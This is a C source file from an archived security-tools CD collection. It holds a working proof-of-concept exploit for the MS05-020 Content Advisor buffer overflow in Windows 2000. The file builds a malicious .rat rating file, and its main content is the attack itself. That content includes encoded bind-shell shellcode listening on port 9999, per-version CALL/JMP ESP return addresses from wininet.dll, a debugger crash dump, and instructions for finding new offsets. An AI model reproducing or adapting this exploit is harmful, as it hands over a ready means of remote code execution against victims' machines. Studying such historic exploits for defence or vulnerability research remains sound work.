home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / RatBof.cpp < prev    next >
C/C++ Source or Header  |  2005-05-06  |  9KB  |  232 lines

  1. /*
  2.  * Ms05-020 Content Advisor Memory Corruption Vulnerability POC
  3.  *
  4.  *
  5.  * Exploit by  : Miguel Tarasc≤ Acu±a - Haxorcitos.com 2004/2005
  6.  *               Tarako AT gmail.com 
  7.  *
  8.  * Credits:
  9.  *  Andres Tarasc≤ (atarasco _at_ sia.es) has discovered this vulnerability
  10.  *
  11.  * Platforms afected/tested:
  12.  *
  13.  *       - Windows 2000 SP2 Spanish
  14.  *       - Windows 2000 SP3 Spanish
  15.  *       - Windows 2000 SP4 Spanish
  16.  *       - Probably All Windows 2000 versions
  17.  *
  18.  *
  19.  * Original Advisory: http://www.microsoft.com/technet/security/bulletin/MS05-020.mspx
  20.  * Exploit Date: 22/11/2004
  21.  *
  22.  * Disclosure Timeline:
  23.  *  November 15 2004 - Discovered
  24.  *  November 22 2004 - Exploit was developed
  25.  *  November 29 2004 - Initial Vendor Notification
  26.  *  November 29 2004 - Initial Vendor Notification
  27.  *  December 15 2004 - Coordinated disclosure
  28.  *  April    12 2005 - MS05-020 Released
  29.  *
  30.  *
  31.  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  32.  * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  33.  * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  34.  *
  35.  * Greetings to: #haxorcitos, #dsr and #localhost @efnet
  36.  *
  37.  *
  38.  * rsaci.rat POC example file:
  39.  *
  40.  * ((PICS-version 1.0)
  41.  * (rating-system "http://www.haxorcitos.com/")
  42.  * (rating-service "http://www.haxorcitos.com/index.html")
  43.  * (name "AAAAA...300...AAAAA")
  44.  * (description "msrating.dll,ClickedOnRAT() - Asesor de Contenido Bof ")
  45.  *
  46.  * after double click, msrating.dll,ClickedOnRAT() is executed. CPU registers
  47.  *
  48.  *  0:001> g
  49.  *  (330.6b0): Access violation - code c0000005 (first chance)
  50.  *  First chance exceptions are reported before any exception handling.
  51.  *  This exception may be expected and handled.
  52.  *  eax=00000000 ebx=0006f638 ecx=00010101 edx=ffffffff esi=77e1588a edi=0006f360
  53.  *  eip=41414141 esp=0006f360 ebp=41414141 iopl=0         nv up ei pl zr na po nc
  54.  *  cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
  55.  *  41414141 ??               ???
  56.  *
  57.  * How to get new offsets for Windows 2000:
  58.  * 1) execute generated .rat file
  59.  * 2) search for FFD4 (CALL ESP) in the memory address (for example wininet.dll)
  60.  * 3) Place your new offset into the exploit
  61.  *
  62.  */
  63.  
  64. #include <stdio.h>
  65. #include <windows.h>
  66.  
  67. #pragma pack(1)
  68.  
  69. #define RATFILE "rsaci.rat"
  70.  
  71. unsigned char shellcode[] = { // spawn a Shell on port 9999
  72.    "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
  73.    "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
  74.    "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
  75.    "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
  76.    "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
  77.    "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
  78.    "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
  79.    "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
  80.    "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
  81.    "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
  82.    "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
  83.    "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
  84.    "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
  85.    "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
  86.    "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
  87.    "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
  88.    "\x8A\x88\xAF\x87\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
  89.    "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
  90.    "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
  91.    "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
  92.    "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
  93.    "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
  94.    "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
  95.    "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
  96.    "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  97.    "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
  98.    "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
  99.    "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
  100.    "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
  101.    "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
  102.    "\xD3\x4A\x8C\x88"
  103. };
  104.  
  105.  
  106. unsigned char RHeader[]="((PICS-version 1.0)\n"
  107.  "(rating-system \"http://www.haxorcitos.com\")\n"
  108.  "(rating-service \"http://www.haxorcitos.com/index.html\")\n"
  109.  "(name \"";
  110. unsigned char RTail[]= "\")\n"
  111.  "(description \" Ms05-020 Content Advisor Memory Corruption Vulnerability\"))\n"
  112.  "(description \" http://www.microsoft.com/technet/security/bulletin/MS05-020.mspx\"))\n"
  113.  "(description \" Exploit by Miguel Tarasc≤ Acu±a - Tarako [AT] gmail[dot]com\"))\n";
  114.  
  115. char jmpbelow[]= "\x90\xeb\xFF\x90";
  116.  
  117.  struct  { char *name;  long offset; } supported[] = { 
  118.          {" Windows 2000 Pro SP2 Spanish" , 0x772153D3}, //  FFD4  CALL ESP - wininet.dll 6.0.2900.2577
  119. /*C:\>Findjmp.exe wininet.dll ESP
  120. 0x77181783      push ESP - ret
  121. 0x771A31CB      push ESP - ret
  122. 0x771ABFB9      jmp ESP
  123. 0x771AF5FE      jmp ESP
  124. 0x771B2FAD      jmp ESP
  125. 0x771B470E      jmp ESP
  126. 0x771C8382      jmp ESP
  127. 0x771CC694      jmp ESP
  128. 0x771CE3C7      jmp ESP
  129. 0x771CFA0B      jmp ESP
  130. 0x771F5D7B      jmp ESP
  131. 0x771FE9D9      jmp ESP
  132. 0x77212C74      jmp ESP
  133. 0x7721448D      jmp ESP
  134. 0x772153D3      call ESP
  135. 0x772155AB      jmp ESP
  136. 0x77215723      jmp ESP
  137. 0x77215788      jmp ESP
  138. 0x77216161      jmp ESP
  139. 0x77216221      jmp ESP
  140. 0x772170AF      jmp ESP
  141. 0x7721745F      jmp ESP
  142. 0x772174DB      call ESP
  143. 0x77217717      call ESP
  144. 0x77217F70      call ESP
  145. 0x77218137      call ESP
  146. 0x7721813F      jmp ESP
  147. */
  148.          {" Windows 2000 Pro SP3 Spanish" , 0x76BE5983}, //  FFD4  CALL ESP - wininet.dll 5.0.3502.4619 
  149. /*C:\>Findjmp.exe wininet.dll ESP
  150. 0x76BE5983      call ESP
  151. 0x76BE8AAC      push ESP - ret*/
  152.          {" Windows 2000 Pro SP4 Spanish" , 0x702853D3}, //  FFD4  CALL ESP - wininet.dll 6.0.2800.1106
  153. /*C:\>Findjmp.exe wininet.dll ESP
  154. 0x70219C3A      push ESP - ret
  155. 0x70282C74      jmp ESP
  156. 0x70282D3D      jmp ESP
  157. 0x70283B1C      jmp ESP
  158. 0x70283BE5      jmp ESP
  159. 0x702843C4      jmp ESP
  160. 0x7028448D      jmp ESP
  161. 0x702853D3      call ESP
  162. 0x702855AB      jmp ESP
  163. 0x70285723      jmp ESP
  164. 0x70285788      jmp ESP
  165. 0x70286161      jmp ESP
  166. 0x70286221      jmp ESP
  167. 0x702870AF      jmp ESP
  168. 0x7028745F      jmp ESP
  169. 0x702874DB      call ESP
  170. 0x70287717      call ESP
  171. 0x70287F70      call ESP
  172. 0x70288137      call ESP
  173. 0x7028813F      jmp ESP*/
  174.          {" Windows 2000 Server SP4 Spanish" , 0x76BFBB5B}, //  FFE4  JMP ESP - wininet.dll 5.0.3700.6713
  175. /*C:\>Findjmp.exe wininet.dll ESP
  176. 0x76BE558B      push ESP - ret
  177. 0x76BFBB5B      jmp ESP
  178. 0x76BFC155      push ESP - ret
  179. 0x76BFC159      push ESP - ret */
  180.          {" Crash", 0x41414141}
  181.  
  182.  },VERSIONES;
  183.  
  184. /******************************************************************************/
  185. void ShowHeader(int argc) {
  186.    int i;
  187.    printf(" Ms05-020 Content Advisor Memory Corruption Vulnerability\n");
  188.    printf(" Exploit by Miguel Tarasco - Tarako [at] gmail [dot] com\n\n");
  189.     
  190.    printf(" Windows Versions:\n");
  191.    printf(" ----------------------------------------\n");
  192.    for (i=0;i<sizeof(supported)/sizeof(VERSIONES);i++) {
  193.       printf("  %d) %s (0x%08x)\n",i,supported[i].name,supported[i].offset);
  194.    }
  195.    printf(" ----------------------------------------\n\n");
  196.    if (argc<2) {      
  197.       printf(" Usage: ratBof.exe <Windows Version>\n");
  198.       exit(1);
  199.    }
  200. }
  201. /******************************************************************************/
  202.  
  203.  
  204. int main(int argc, char* argv[]) {
  205.    char    buf[1500];
  206.    FILE    *ratFile=fopen(RATFILE,"w");;
  207.    int i;
  208.  
  209.    ShowHeader(argc);   
  210.  
  211.    i=atoi(argv[1]);
  212.    printf(" [i] Creating exploit File for platform: %s\n",supported[i].name);
  213.  
  214.    fwrite(RHeader, sizeof(RHeader)-1, 1,ratFile);
  215.  
  216.    memset(buf,0x90,sizeof(buf));
  217.    memcpy(buf+280,jmpbelow,strlen(jmpbelow)); // salto 
  218.  
  219.  
  220.    memcpy(buf+284,&supported[i].offset,sizeof(long)); // offset
  221.    memcpy(buf+500,shellcode,sizeof(shellcode)-1);
  222.  
  223.    fwrite(buf,sizeof(buf),1,ratFile);
  224.    fwrite(RTail, sizeof(RTail), 1,ratFile);
  225.  
  226.    printf(" [i] rsaci.rat created\n\n");
  227.  
  228.    fclose(ratFile);
  229.    return 0;
  230. }
  231. /******************************************************************************/
  232.